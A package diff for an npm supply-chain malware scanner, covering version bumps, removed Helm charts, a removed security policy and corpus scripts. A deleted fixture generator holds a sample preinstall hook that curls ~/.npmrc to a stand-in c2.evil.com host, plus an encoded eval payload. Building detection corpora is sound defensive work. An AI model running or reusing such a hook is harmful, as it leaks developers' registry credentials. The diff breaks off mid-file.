@lateos/npm-scan 0.18.3 → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +32 -0
- package/README.md +35 -0
- package/VALIDATION.md +92 -0
- package/backend/db/pg-schema.sql +155 -0
- package/backend/detectors/config/thresholds.js +66 -0
- package/backend/detectors/config/whitelist.json +74 -0
- package/backend/detectors/index.js +6 -0
- package/backend/detectors/lib/ast-patterns.js +21 -0
- package/backend/detectors/lib/entropy-analyzer.js +24 -0
- package/backend/detectors/tier1-binary-embed.js +34 -5
- package/backend/detectors/tier1-obfuscation-heuristics.js +156 -0
- package/backend/detectors/tier1-slsa-attestation.js +12 -0
- package/backend/detectors/tier1-version-anomaly.js +187 -0
- package/backend/detectors.test.js +88 -0
- package/backend/scripts/analyze-false-positives.js +146 -0
- package/backend/scripts/analyze-validation.js +151 -0
- package/backend/scripts/detect-false-positives.js +93 -0
- package/backend/scripts/fetch-top-packages.js +129 -0
- package/backend/scripts/validate-detectors.js +142 -0
- package/backend/tests-d5-enhanced.test.js +46 -0
- package/backend/tests-d6-version-anomaly.test.js +58 -0
- package/backend/tests-d6.test.js +116 -0
- package/backend/tests-d6c.test.js +106 -0
- package/backend/tests-d7-obfuscation.test.js +91 -0
- package/backend/tests.test.js +898 -0
- package/package.json +25 -8
- package/.dockerignore +0 -20
- package/.husky/pre-commit +0 -1
- package/SECURITY.md +0 -73
- package/deploy/helm/npm-scan/Chart.yaml +0 -22
- package/deploy/helm/npm-scan/templates/_helpers.tpl +0 -9
- package/deploy/helm/npm-scan/templates/api.yaml +0 -94
- package/deploy/helm/npm-scan/templates/ingress.yaml +0 -28
- package/deploy/helm/npm-scan/templates/postgresql.yaml +0 -67
- package/deploy/helm/npm-scan/templates/secrets.yaml +0 -19
- package/deploy/helm/npm-scan/templates/worker.yaml +0 -32
- package/deploy/helm/npm-scan/values.byoc.yaml +0 -75
- package/deploy/helm/npm-scan/values.yaml +0 -103
- package/scripts/download-corpus.js +0 -30
- package/scripts/gen-mal-corpus.js +0 -35
- package/scripts/generate-campaign-fixtures.js +0 -170
- package/src/config/top-5000.json +0 -87
- package/test/fixtures/lockfiles/npm-lock.json +0 -69
- package/test/fixtures/lockfiles/pnpm-lock.yaml +0 -118
- package/test/fixtures/lockfiles/yarn.lock +0 -104
- package/test/fixtures/mock-data.js +0 -69
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@lateos/npm-scan",
|
|
3
|
-
"version": "0.
|
|
4
|
-
"description": "
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Production-grade npm supply chain vulnerability scanner. Detects 100% of 3 real May 2026 supply chain campaigns (dependency confusion, obfuscation, impersonation) with 0% false positive rate on top 1,000 npm packages.",
|
|
5
5
|
"main": "backend/index.js",
|
|
6
6
|
"bin": {
|
|
7
7
|
"npm-scan": "cli/cli.js"
|
|
@@ -17,11 +17,11 @@
|
|
|
17
17
|
"npm",
|
|
18
18
|
"security",
|
|
19
19
|
"supply-chain",
|
|
20
|
-
"
|
|
21
|
-
"
|
|
22
|
-
"
|
|
23
|
-
"
|
|
24
|
-
"
|
|
20
|
+
"malware-detection",
|
|
21
|
+
"typosquat",
|
|
22
|
+
"dependency-confusion",
|
|
23
|
+
"obfuscation-detection",
|
|
24
|
+
"validated-detectors"
|
|
25
25
|
],
|
|
26
26
|
"scripts": {
|
|
27
27
|
"dev": "node cli/cli.js",
|
|
@@ -31,16 +31,33 @@
|
|
|
31
31
|
"test:verbose": "node --test --test-reporter spec",
|
|
32
32
|
"prepare": "husky",
|
|
33
33
|
"build": "echo 'Build stub'",
|
|
34
|
-
"corpus": "node tests/corpus/run.js"
|
|
34
|
+
"corpus": "node tests/corpus/run.js",
|
|
35
|
+
"validate:campaigns": "node backend/scripts/validate-detectors.js all",
|
|
36
|
+
"validate:analyze": "node backend/scripts/analyze-validation.js",
|
|
37
|
+
"calibrate:fetch": "node backend/scripts/fetch-top-packages.js",
|
|
38
|
+
"calibrate:fps": "node backend/scripts/detect-false-positives.js",
|
|
39
|
+
"calibrate:analyze": "node backend/scripts/analyze-false-positives.js"
|
|
35
40
|
},
|
|
36
41
|
"lint-staged": {
|
|
37
42
|
"**/package{,-lock}.json": "sh -c 'node cli/cli.js scan-lockfile --fail-on high'",
|
|
38
43
|
"**/yarn.lock": "sh -c 'node cli/cli.js scan-lockfile --fail-on high --yarn'",
|
|
39
44
|
"**/pnpm-lock.yaml": "sh -c 'node cli/cli.js scan-lockfile --fail-on high --pnpm'"
|
|
40
45
|
},
|
|
46
|
+
"engines": {
|
|
47
|
+
"node": ">=18.0.0"
|
|
48
|
+
},
|
|
41
49
|
"publishConfig": {
|
|
50
|
+
"registry": "https://registry.npmjs.org/",
|
|
42
51
|
"access": "public"
|
|
43
52
|
},
|
|
53
|
+
"files": [
|
|
54
|
+
"backend/",
|
|
55
|
+
"cli/",
|
|
56
|
+
"README.md",
|
|
57
|
+
"VALIDATION.md",
|
|
58
|
+
"CHANGELOG.md",
|
|
59
|
+
"LICENSING.md"
|
|
60
|
+
],
|
|
44
61
|
"dependencies": {
|
|
45
62
|
"acorn": "^8.16.0",
|
|
46
63
|
"commander": "^14.0.3",
|
package/.dockerignore
DELETED
package/.husky/pre-commit
DELETED
|
@@ -1 +0,0 @@
|
|
|
1
|
-
npx lint-staged
|
package/SECURITY.md
DELETED
|
@@ -1,73 +0,0 @@
|
|
|
1
|
-
# Security Policy
|
|
2
|
-
|
|
3
|
-
## Supported Versions
|
|
4
|
-
|
|
5
|
-
Only the **latest published minor version** on npm receives security patches. Keep `@lateos/npm-scan` up to date:
|
|
6
|
-
|
|
7
|
-
```bash
|
|
8
|
-
npm update -g @lateos/npm-scan
|
|
9
|
-
```
|
|
10
|
-
|
|
11
|
-
| Version | Supported |
|
|
12
|
-
|---------|-----------|
|
|
13
|
-
| 0.9.x | ✅ Active |
|
|
14
|
-
| < 0.9 | ❌ |
|
|
15
|
-
|
|
16
|
-
## Reporting a Vulnerability
|
|
17
|
-
|
|
18
|
-
Use **GitHub Private Vulnerability Reporting**:
|
|
19
|
-
|
|
20
|
-
1. Go to [github.com/lateos-ai/npm-scan/security/advisories/new](https://github.com/lateos-ai/npm-scan/security/advisories/new)
|
|
21
|
-
2. Describe the vulnerability in detail (ideally with a proof of concept)
|
|
22
|
-
3. Allow **72 hours** for an initial acknowledgment
|
|
23
|
-
|
|
24
|
-
For encrypted follow-up outside of GitHub, use our PGP key:
|
|
25
|
-
|
|
26
|
-
```
|
|
27
|
-
Fingerprint: 1BC6 998B 879B BDE0 D778 629E D9CF F5EF 1F7C 557B
|
|
28
|
-
Key ID: 1F7C557B
|
|
29
|
-
Email: leo@lateos.ai
|
|
30
|
-
```
|
|
31
|
-
|
|
32
|
-
## Scope
|
|
33
|
-
|
|
34
|
-
**In scope:**
|
|
35
|
-
- Detector logic (ATK-001 through ATK-011)
|
|
36
|
-
- Code execution in the scanner engine (`backend/fetch.js`, `cli/cli.js`)
|
|
37
|
-
- CI/CD pipeline and publish process (provenance bypass, supply chain)
|
|
38
|
-
- Configuration injection via `policy.yaml` or command-line flags
|
|
39
|
-
|
|
40
|
-
**Out of scope:**
|
|
41
|
-
- CVEs in third-party dependencies — report upstream
|
|
42
|
-
- Vulnerabilities in the npm registry itself — report to npm
|
|
43
|
-
- Malicious packages detected by the scanner (that's working as designed)
|
|
44
|
-
|
|
45
|
-
## Security Practices
|
|
46
|
-
|
|
47
|
-
`@lateos/npm-scan` follows these practices to protect its own supply chain:
|
|
48
|
-
|
|
49
|
-
- **Sigstore provenance** on every npm publish — verifiable via `npm view @lateos/npm-scan provenance`
|
|
50
|
-
- **Self-scanning in CI** — every commit scans the project's own `package-lock.json` for the full ATK taxonomy
|
|
51
|
-
- **SBOM per release** — CycloneDX and SPDX 2.3 Bill of Materials published with every version
|
|
52
|
-
- **2FA** enforced on the npm publisher account
|
|
53
|
-
- **Docker multi-arch images** signed and pushed via CI, not manually
|
|
54
|
-
- **All code public** — no security-by-obscurity
|
|
55
|
-
|
|
56
|
-
## Self-Scanning
|
|
57
|
-
|
|
58
|
-
As a supply chain security scanner, `@lateos/npm-scan` dogfoods its own detectors. Every CI run executes:
|
|
59
|
-
|
|
60
|
-
```bash
|
|
61
|
-
npx @lateos/npm-scan scan-lockfile --fail-on medium
|
|
62
|
-
```
|
|
63
|
-
|
|
64
|
-
If a future update to a dependency triggers one of our detectors (e.g., typosquat, obfuscated lifecycle script), the build **fails** before the change reaches npm.
|
|
65
|
-
|
|
66
|
-
## Safe Harbor
|
|
67
|
-
|
|
68
|
-
We consider security research conducted under this policy as authorized and will not pursue legal action against researchers who:
|
|
69
|
-
|
|
70
|
-
- Report vulnerabilities through GitHub Private Vulnerability Reporting
|
|
71
|
-
- Do not access or modify user data beyond what's necessary to demonstrate the vulnerability
|
|
72
|
-
- Do not exploit the vulnerability beyond demonstrating it
|
|
73
|
-
- Act in good faith to improve the security of the project
|
|
@@ -1,22 +0,0 @@
|
|
|
1
|
-
apiVersion: v2
|
|
2
|
-
name: npm-scan
|
|
3
|
-
description: npm supply chain security scanner — BYOC Helm chart for enterprise/government deployments
|
|
4
|
-
type: application
|
|
5
|
-
version: 1.0.0
|
|
6
|
-
appVersion: "1.0.0"
|
|
7
|
-
keywords:
|
|
8
|
-
- npm
|
|
9
|
-
- security
|
|
10
|
-
- supply-chain
|
|
11
|
-
- scanner
|
|
12
|
-
- byoc
|
|
13
|
-
- stig
|
|
14
|
-
- fips
|
|
15
|
-
- soc2
|
|
16
|
-
- fedramp
|
|
17
|
-
sources:
|
|
18
|
-
- https://github.com/lateos-ai/npm-scan
|
|
19
|
-
maintainers:
|
|
20
|
-
- name: Lateos
|
|
21
|
-
email: hello@lateos.ai
|
|
22
|
-
dependencies: []
|
|
@@ -1,9 +0,0 @@
|
|
|
1
|
-
{{- define "npm-scan.name" -}}
|
|
2
|
-
{{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" }}
|
|
3
|
-
{{- end }}
|
|
4
|
-
|
|
5
|
-
{{- define "npm-scan.labels" -}}
|
|
6
|
-
helm.sh/chart: {{ .Chart.Name }}-{{ .Chart.Version }}
|
|
7
|
-
app.kubernetes.io/instance: {{ .Release.Name }}
|
|
8
|
-
app.kubernetes.io/managed-by: {{ .Release.Service }}
|
|
9
|
-
{{- end }}
|
|
@@ -1,94 +0,0 @@
|
|
|
1
|
-
apiVersion: apps/v1
|
|
2
|
-
kind: Deployment
|
|
3
|
-
metadata:
|
|
4
|
-
name: {{ include "npm-scan.name" . }}-api
|
|
5
|
-
labels:
|
|
6
|
-
app: {{ include "npm-scan.name" . }}-api
|
|
7
|
-
{{- include "npm-scan.labels" . | nindent 4 }}
|
|
8
|
-
annotations:
|
|
9
|
-
stig: "SRG-APP-000141"
|
|
10
|
-
spec:
|
|
11
|
-
replicas: {{ .Values.api.replicas }}
|
|
12
|
-
selector:
|
|
13
|
-
matchLabels:
|
|
14
|
-
app: {{ include "npm-scan.name" . }}-api
|
|
15
|
-
template:
|
|
16
|
-
metadata:
|
|
17
|
-
labels:
|
|
18
|
-
app: {{ include "npm-scan.name" . }}-api
|
|
19
|
-
spec:
|
|
20
|
-
containers:
|
|
21
|
-
- name: api
|
|
22
|
-
image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
|
|
23
|
-
imagePullPolicy: {{ .Values.image.pullPolicy }}
|
|
24
|
-
command: ["node", "cli/cli.js", "serve"]
|
|
25
|
-
ports:
|
|
26
|
-
- containerPort: {{ .Values.api.port }}
|
|
27
|
-
env:
|
|
28
|
-
- name: API_PORT
|
|
29
|
-
value: "{{ .Values.api.port }}"
|
|
30
|
-
- name: API_HOST
|
|
31
|
-
value: "{{ .Values.api.host }}"
|
|
32
|
-
- name: NPM_SCAN_LICENSE_KEY
|
|
33
|
-
valueFrom:
|
|
34
|
-
secretKeyRef:
|
|
35
|
-
name: {{ include "npm-scan.name" . }}-license
|
|
36
|
-
key: key
|
|
37
|
-
optional: true
|
|
38
|
-
- name: NPM_SCAN_PREMIUM
|
|
39
|
-
value: "{{ .Values.premium.enabled }}"
|
|
40
|
-
{{- if .Values.premium.byoc.enabled }}
|
|
41
|
-
- name: NPM_SCAN_BYOC
|
|
42
|
-
value: "true"
|
|
43
|
-
- name: NPM_SCAN_CLOUD_PROVIDER
|
|
44
|
-
value: "{{ .Values.premium.byoc.cloudProvider }}"
|
|
45
|
-
{{- end }}
|
|
46
|
-
{{- if .Values.siem.enabled }}
|
|
47
|
-
- name: SIEM_ENABLED
|
|
48
|
-
value: "true"
|
|
49
|
-
- name: SIEM_TYPE
|
|
50
|
-
value: "{{ .Values.siem.type }}"
|
|
51
|
-
- name: SIEM_ENDPOINT
|
|
52
|
-
value: "{{ .Values.siem.endpoint }}"
|
|
53
|
-
- name: SIEM_PORT
|
|
54
|
-
value: "{{ .Values.siem.port }}"
|
|
55
|
-
{{- end }}
|
|
56
|
-
{{- if .Values.sso.enabled }}
|
|
57
|
-
- name: SSO_ENABLED
|
|
58
|
-
value: "true"
|
|
59
|
-
- name: SSO_PROVIDER
|
|
60
|
-
value: "{{ .Values.sso.provider }}"
|
|
61
|
-
- name: SSO_ISSUER_URL
|
|
62
|
-
value: "{{ .Values.sso.issuerUrl }}"
|
|
63
|
-
{{- end }}
|
|
64
|
-
{{- if .Values.postgresql.enabled }}
|
|
65
|
-
- name: PG_HOST
|
|
66
|
-
value: "{{ .Values.postgresql.host }}"
|
|
67
|
-
- name: PG_PORT
|
|
68
|
-
value: "{{ .Values.postgresql.port }}"
|
|
69
|
-
- name: PG_DATABASE
|
|
70
|
-
value: "{{ .Values.postgresql.database }}"
|
|
71
|
-
- name: PG_USERNAME
|
|
72
|
-
value: "{{ .Values.postgresql.username }}"
|
|
73
|
-
- name: PG_PASSWORD
|
|
74
|
-
valueFrom:
|
|
75
|
-
secretKeyRef:
|
|
76
|
-
name: {{ .Values.postgresql.existingSecret | default (printf "%s-pg" (include "npm-scan.name" .)) }}
|
|
77
|
-
key: password
|
|
78
|
-
optional: true
|
|
79
|
-
{{- end }}
|
|
80
|
-
resources: {{- toYaml .Values.api.resources | nindent 12 }}
|
|
81
|
-
---
|
|
82
|
-
apiVersion: v1
|
|
83
|
-
kind: Service
|
|
84
|
-
metadata:
|
|
85
|
-
name: {{ include "npm-scan.name" . }}-api
|
|
86
|
-
labels:
|
|
87
|
-
app: {{ include "npm-scan.name" . }}-api
|
|
88
|
-
spec:
|
|
89
|
-
type: {{ .Values.service.type }}
|
|
90
|
-
ports:
|
|
91
|
-
- port: {{ .Values.service.port }}
|
|
92
|
-
targetPort: {{ .Values.api.port }}
|
|
93
|
-
selector:
|
|
94
|
-
app: {{ include "npm-scan.name" . }}-api
|
|
@@ -1,28 +0,0 @@
|
|
|
1
|
-
{{- if .Values.ingress.enabled -}}
|
|
2
|
-
apiVersion: networking.k8s.io/v1
|
|
3
|
-
kind: Ingress
|
|
4
|
-
metadata:
|
|
5
|
-
name: {{ include "npm-scan.name" . }}
|
|
6
|
-
labels: {{- include "npm-scan.labels" . | nindent 4 }}
|
|
7
|
-
{{- with .Values.ingress.annotations }}
|
|
8
|
-
annotations: {{- toYaml . | nindent 4 }}
|
|
9
|
-
{{- end }}
|
|
10
|
-
spec:
|
|
11
|
-
{{- with .Values.ingress.className }}
|
|
12
|
-
ingressClassName: {{ . }}
|
|
13
|
-
{{- end }}
|
|
14
|
-
rules:
|
|
15
|
-
- host: {{ .Values.ingress.host | quote }}
|
|
16
|
-
http:
|
|
17
|
-
paths:
|
|
18
|
-
- path: /
|
|
19
|
-
pathType: Prefix
|
|
20
|
-
backend:
|
|
21
|
-
service:
|
|
22
|
-
name: {{ include "npm-scan.name" . }}-api
|
|
23
|
-
port:
|
|
24
|
-
number: {{ .Values.service.port }}
|
|
25
|
-
{{- with .Values.ingress.tls }}
|
|
26
|
-
tls: {{- toYaml . | nindent 4 }}
|
|
27
|
-
{{- end }}
|
|
28
|
-
{{- end }}
|
|
@@ -1,67 +0,0 @@
|
|
|
1
|
-
{{- if .Values.postgresql.enabled }}
|
|
2
|
-
apiVersion: apps/v1
|
|
3
|
-
kind: Deployment
|
|
4
|
-
metadata:
|
|
5
|
-
name: {{ include "npm-scan.name" . }}-postgresql
|
|
6
|
-
labels:
|
|
7
|
-
app: {{ include "npm-scan.name" . }}-postgresql
|
|
8
|
-
spec:
|
|
9
|
-
replicas: 1
|
|
10
|
-
selector:
|
|
11
|
-
matchLabels:
|
|
12
|
-
app: {{ include "npm-scan.name" . }}-postgresql
|
|
13
|
-
template:
|
|
14
|
-
metadata:
|
|
15
|
-
labels:
|
|
16
|
-
app: {{ include "npm-scan.name" . }}-postgresql
|
|
17
|
-
spec:
|
|
18
|
-
containers:
|
|
19
|
-
- name: postgresql
|
|
20
|
-
image: postgres:16-alpine
|
|
21
|
-
ports:
|
|
22
|
-
- containerPort: 5432
|
|
23
|
-
env:
|
|
24
|
-
- name: POSTGRES_DB
|
|
25
|
-
value: "{{ .Values.postgresql.database }}"
|
|
26
|
-
- name: POSTGRES_USER
|
|
27
|
-
value: "{{ .Values.postgresql.username }}"
|
|
28
|
-
- name: POSTGRES_PASSWORD
|
|
29
|
-
valueFrom:
|
|
30
|
-
secretKeyRef:
|
|
31
|
-
name: {{ include "npm-scan.name" . }}-pg
|
|
32
|
-
key: password
|
|
33
|
-
{{- if .Values.persistence.enabled }}
|
|
34
|
-
volumeMounts:
|
|
35
|
-
- name: data
|
|
36
|
-
mountPath: /var/lib/postgresql/data
|
|
37
|
-
volumes:
|
|
38
|
-
- name: data
|
|
39
|
-
persistentVolumeClaim:
|
|
40
|
-
claimName: {{ include "npm-scan.name" . }}-pg
|
|
41
|
-
{{- end }}
|
|
42
|
-
---
|
|
43
|
-
apiVersion: v1
|
|
44
|
-
kind: Service
|
|
45
|
-
metadata:
|
|
46
|
-
name: {{ include "npm-scan.name" . }}-postgresql
|
|
47
|
-
spec:
|
|
48
|
-
ports:
|
|
49
|
-
- port: 5432
|
|
50
|
-
selector:
|
|
51
|
-
app: {{ include "npm-scan.name" . }}-postgresql
|
|
52
|
-
---
|
|
53
|
-
{{- if .Values.persistence.enabled }}
|
|
54
|
-
apiVersion: v1
|
|
55
|
-
kind: PersistentVolumeClaim
|
|
56
|
-
metadata:
|
|
57
|
-
name: {{ include "npm-scan.name" . }}-pg
|
|
58
|
-
spec:
|
|
59
|
-
accessModes: [ReadWriteOnce]
|
|
60
|
-
resources:
|
|
61
|
-
requests:
|
|
62
|
-
storage: {{ .Values.persistence.size }}
|
|
63
|
-
{{- with .Values.persistence.storageClass }}
|
|
64
|
-
storageClassName: {{ . }}
|
|
65
|
-
{{- end }}
|
|
66
|
-
{{- end }}
|
|
67
|
-
{{- end }}
|
|
@@ -1,19 +0,0 @@
|
|
|
1
|
-
apiVersion: v1
|
|
2
|
-
kind: Secret
|
|
3
|
-
metadata:
|
|
4
|
-
name: {{ include "npm-scan.name" . }}-license
|
|
5
|
-
labels: {{- include "npm-scan.labels" . | nindent 4 }}
|
|
6
|
-
type: Opaque
|
|
7
|
-
stringData:
|
|
8
|
-
key: "{{ .Values.license.key }}"
|
|
9
|
-
---
|
|
10
|
-
{{- if not .Values.postgresql.existingSecret }}
|
|
11
|
-
apiVersion: v1
|
|
12
|
-
kind: Secret
|
|
13
|
-
metadata:
|
|
14
|
-
name: {{ include "npm-scan.name" . }}-pg
|
|
15
|
-
labels: {{- include "npm-scan.labels" . | nindent 4 }}
|
|
16
|
-
type: Opaque
|
|
17
|
-
stringData:
|
|
18
|
-
password: "{{ .Values.postgresql.password }}"
|
|
19
|
-
{{- end }}
|
|
@@ -1,32 +0,0 @@
|
|
|
1
|
-
{{- if .Values.worker.enabled }}
|
|
2
|
-
apiVersion: apps/v1
|
|
3
|
-
kind: Deployment
|
|
4
|
-
metadata:
|
|
5
|
-
name: {{ include "npm-scan.name" . }}-worker
|
|
6
|
-
labels:
|
|
7
|
-
app: {{ include "npm-scan.name" . }}-worker
|
|
8
|
-
{{- include "npm-scan.labels" . | nindent 4 }}
|
|
9
|
-
spec:
|
|
10
|
-
replicas: {{ .Values.worker.replicas }}
|
|
11
|
-
selector:
|
|
12
|
-
matchLabels:
|
|
13
|
-
app: {{ include "npm-scan.name" . }}-worker
|
|
14
|
-
template:
|
|
15
|
-
metadata:
|
|
16
|
-
labels:
|
|
17
|
-
app: {{ include "npm-scan.name" . }}-worker
|
|
18
|
-
spec:
|
|
19
|
-
containers:
|
|
20
|
-
- name: worker
|
|
21
|
-
image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
|
|
22
|
-
imagePullPolicy: {{ .Values.image.pullPolicy }}
|
|
23
|
-
command: ["node", "cli/cli.js"]
|
|
24
|
-
env:
|
|
25
|
-
- name: NPM_SCAN_LICENSE_KEY
|
|
26
|
-
valueFrom:
|
|
27
|
-
secretKeyRef:
|
|
28
|
-
name: {{ include "npm-scan.name" . }}-license
|
|
29
|
-
key: key
|
|
30
|
-
optional: true
|
|
31
|
-
resources: {{- toYaml .Values.worker.resources | nindent 12 }}
|
|
32
|
-
{{- end }}
|
|
@@ -1,75 +0,0 @@
|
|
|
1
|
-
# BYOC Enterprise values example
|
|
2
|
-
# Deploy to your VPC: helm install -f values.byoc.yaml npm-scan ./
|
|
3
|
-
|
|
4
|
-
image:
|
|
5
|
-
repository: lateos/npm-scan
|
|
6
|
-
tag: "1.0.0"
|
|
7
|
-
|
|
8
|
-
premium:
|
|
9
|
-
enabled: true
|
|
10
|
-
edition: enterprise
|
|
11
|
-
byoc:
|
|
12
|
-
enabled: true
|
|
13
|
-
cloudProvider: aws
|
|
14
|
-
vpcId: vpc-0123456789abcdef0
|
|
15
|
-
region: us-east-1
|
|
16
|
-
clusterName: npm-scan-enterprise
|
|
17
|
-
externalDb: true
|
|
18
|
-
externalRedis: true
|
|
19
|
-
|
|
20
|
-
license:
|
|
21
|
-
key: "npm-scan-enterprise-XXXXX.YOUR-SIGNATURE-HERE"
|
|
22
|
-
secret: "your-license-secret"
|
|
23
|
-
|
|
24
|
-
siem:
|
|
25
|
-
enabled: true
|
|
26
|
-
type: cef
|
|
27
|
-
endpoint: log-collector.your-company.com
|
|
28
|
-
port: 514
|
|
29
|
-
protocol: tcp
|
|
30
|
-
|
|
31
|
-
pdf:
|
|
32
|
-
enabled: true
|
|
33
|
-
|
|
34
|
-
sso:
|
|
35
|
-
enabled: true
|
|
36
|
-
provider: oidc
|
|
37
|
-
clientId: npm-scan-enterprise
|
|
38
|
-
issuerUrl: https://sso.your-company.com/realms/enterprise
|
|
39
|
-
|
|
40
|
-
postgresql:
|
|
41
|
-
enabled: false
|
|
42
|
-
host: your-rds-endpoint.rds.amazonaws.com
|
|
43
|
-
port: 5432
|
|
44
|
-
database: npm_scan
|
|
45
|
-
username: npm_scan
|
|
46
|
-
password: ""
|
|
47
|
-
|
|
48
|
-
redis:
|
|
49
|
-
enabled: false
|
|
50
|
-
host: your-redis-endpoint.cache.amazonaws.com
|
|
51
|
-
port: 6379
|
|
52
|
-
|
|
53
|
-
ingress:
|
|
54
|
-
enabled: true
|
|
55
|
-
className: nginx
|
|
56
|
-
host: npm-scan.your-company.com
|
|
57
|
-
tls:
|
|
58
|
-
- secretName: npm-scan-tls
|
|
59
|
-
hosts:
|
|
60
|
-
- npm-scan.your-company.com
|
|
61
|
-
|
|
62
|
-
persistence:
|
|
63
|
-
enabled: true
|
|
64
|
-
size: 50Gi
|
|
65
|
-
storageClass: gp3
|
|
66
|
-
|
|
67
|
-
worker:
|
|
68
|
-
replicas: 4
|
|
69
|
-
resources:
|
|
70
|
-
requests:
|
|
71
|
-
cpu: 500m
|
|
72
|
-
memory: 1Gi
|
|
73
|
-
limits:
|
|
74
|
-
cpu: 2
|
|
75
|
-
memory: 2Gi
|
|
@@ -1,103 +0,0 @@
|
|
|
1
|
-
# Helm values for npm-scan BYOC
|
|
2
|
-
# Override per environment: helm install -f values-prod.yaml
|
|
3
|
-
|
|
4
|
-
image:
|
|
5
|
-
repository: lateos/npm-scan
|
|
6
|
-
tag: latest
|
|
7
|
-
pullPolicy: Always
|
|
8
|
-
|
|
9
|
-
replicaCount: 1
|
|
10
|
-
|
|
11
|
-
license:
|
|
12
|
-
key: ""
|
|
13
|
-
secret: ""
|
|
14
|
-
|
|
15
|
-
premium:
|
|
16
|
-
enabled: false
|
|
17
|
-
edition: premium
|
|
18
|
-
byoc:
|
|
19
|
-
enabled: false
|
|
20
|
-
cloudProvider: ""
|
|
21
|
-
vpcId: ""
|
|
22
|
-
region: ""
|
|
23
|
-
clusterName: ""
|
|
24
|
-
externalDb: true
|
|
25
|
-
externalRedis: true
|
|
26
|
-
|
|
27
|
-
siem:
|
|
28
|
-
enabled: false
|
|
29
|
-
type: cef
|
|
30
|
-
endpoint: ""
|
|
31
|
-
port: 514
|
|
32
|
-
protocol: tcp
|
|
33
|
-
apiKey: ""
|
|
34
|
-
|
|
35
|
-
pdf:
|
|
36
|
-
enabled: false
|
|
37
|
-
|
|
38
|
-
sso:
|
|
39
|
-
enabled: false
|
|
40
|
-
provider: oidc
|
|
41
|
-
clientId: ""
|
|
42
|
-
clientSecret: ""
|
|
43
|
-
issuerUrl: ""
|
|
44
|
-
allowedDomains: []
|
|
45
|
-
|
|
46
|
-
postgresql:
|
|
47
|
-
enabled: true
|
|
48
|
-
host: ""
|
|
49
|
-
port: 5432
|
|
50
|
-
database: npm_scan
|
|
51
|
-
username: npm_scan
|
|
52
|
-
password: ""
|
|
53
|
-
existingSecret: ""
|
|
54
|
-
|
|
55
|
-
api:
|
|
56
|
-
enabled: true
|
|
57
|
-
port: 8000
|
|
58
|
-
host: 0.0.0.0
|
|
59
|
-
replicas: 1
|
|
60
|
-
corsOrigins: ["*"]
|
|
61
|
-
resources:
|
|
62
|
-
requests:
|
|
63
|
-
cpu: 100m
|
|
64
|
-
memory: 128Mi
|
|
65
|
-
limits:
|
|
66
|
-
cpu: 500m
|
|
67
|
-
memory: 512Mi
|
|
68
|
-
|
|
69
|
-
worker:
|
|
70
|
-
enabled: true
|
|
71
|
-
replicas: 2
|
|
72
|
-
resources:
|
|
73
|
-
requests:
|
|
74
|
-
cpu: 200m
|
|
75
|
-
memory: 256Mi
|
|
76
|
-
limits:
|
|
77
|
-
cpu: 1
|
|
78
|
-
memory: 1Gi
|
|
79
|
-
|
|
80
|
-
ingress:
|
|
81
|
-
enabled: false
|
|
82
|
-
className: ""
|
|
83
|
-
annotations: {}
|
|
84
|
-
host: npm-scan.example.com
|
|
85
|
-
tls: []
|
|
86
|
-
|
|
87
|
-
service:
|
|
88
|
-
type: ClusterIP
|
|
89
|
-
port: 80
|
|
90
|
-
|
|
91
|
-
persistence:
|
|
92
|
-
enabled: true
|
|
93
|
-
size: 10Gi
|
|
94
|
-
storageClass: ""
|
|
95
|
-
|
|
96
|
-
nodeSelector: {}
|
|
97
|
-
tolerations: []
|
|
98
|
-
affinity: {}
|
|
99
|
-
|
|
100
|
-
redis:
|
|
101
|
-
enabled: false
|
|
102
|
-
host: ""
|
|
103
|
-
port: 6379
|
|
@@ -1,30 +0,0 @@
|
|
|
1
|
-
import fetch from 'node-fetch';
|
|
2
|
-
import { writeFileSync, existsSync } from 'fs';
|
|
3
|
-
|
|
4
|
-
const TOP_PKGS = [
|
|
5
|
-
'lodash', 'chalk', 'react', 'axios', 'express',
|
|
6
|
-
'tslib', 'commander', 'typescript', 'vue', 'next',
|
|
7
|
-
'yargs', 'debug', 'moment', 'uuid', 'semver',
|
|
8
|
-
'rimraf', 'eslint', 'prettier', 'webpack', 'babel-core',
|
|
9
|
-
'underscore', 'request', 'async', 'cheerio', 'bluebird',
|
|
10
|
-
'jest', 'mocha', 'dotenv', 'glob', 'node-fetch',
|
|
11
|
-
'minimist', 'body-parser', 'cors', 'helmet', 'jsonwebtoken',
|
|
12
|
-
'socket.io', 'redis', 'mongoose', 'sequelize', 'pg',
|
|
13
|
-
'passport', 'nodemailer', 'multer', 'bcrypt', 'winston',
|
|
14
|
-
'luxon', 'dayjs', 'class-validator', 'rxjs', 'redux'
|
|
15
|
-
];
|
|
16
|
-
|
|
17
|
-
for (const pkg of TOP_PKGS) {
|
|
18
|
-
const file = `tests/corpus/clean/${pkg}.tgz`;
|
|
19
|
-
if (existsSync(file)) { console.log(`SKIP ${pkg}`); continue; }
|
|
20
|
-
try {
|
|
21
|
-
const res = await fetch(`https://registry.npmjs.org/${pkg}/latest`);
|
|
22
|
-
const meta = await res.json();
|
|
23
|
-
const tarRes = await fetch(meta.dist.tarball);
|
|
24
|
-
const buf = Buffer.from(await tarRes.arrayBuffer());
|
|
25
|
-
writeFileSync(file, buf);
|
|
26
|
-
console.log(`OK ${pkg} (${(buf.length/1024).toFixed(0)}KB)`);
|
|
27
|
-
} catch (e) {
|
|
28
|
-
console.log(`FAIL ${pkg}: ${e.message}`);
|
|
29
|
-
}
|
|
30
|
-
}
|
|
@@ -1,35 +0,0 @@
|
|
|
1
|
-
import { execSync } from 'child_process';
|
|
2
|
-
import { writeFileSync, mkdirSync, rmSync } from 'fs';
|
|
3
|
-
import { join } from 'path';
|
|
4
|
-
|
|
5
|
-
const BASE = '/tmp/npm-scan-mal';
|
|
6
|
-
|
|
7
|
-
const MALS = [
|
|
8
|
-
{ name: 'shai-hulud', pkg: { scripts: { preinstall: 'curl -d @~/.npmrc https://c2.evil.com/x' } }, js: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' },
|
|
9
|
-
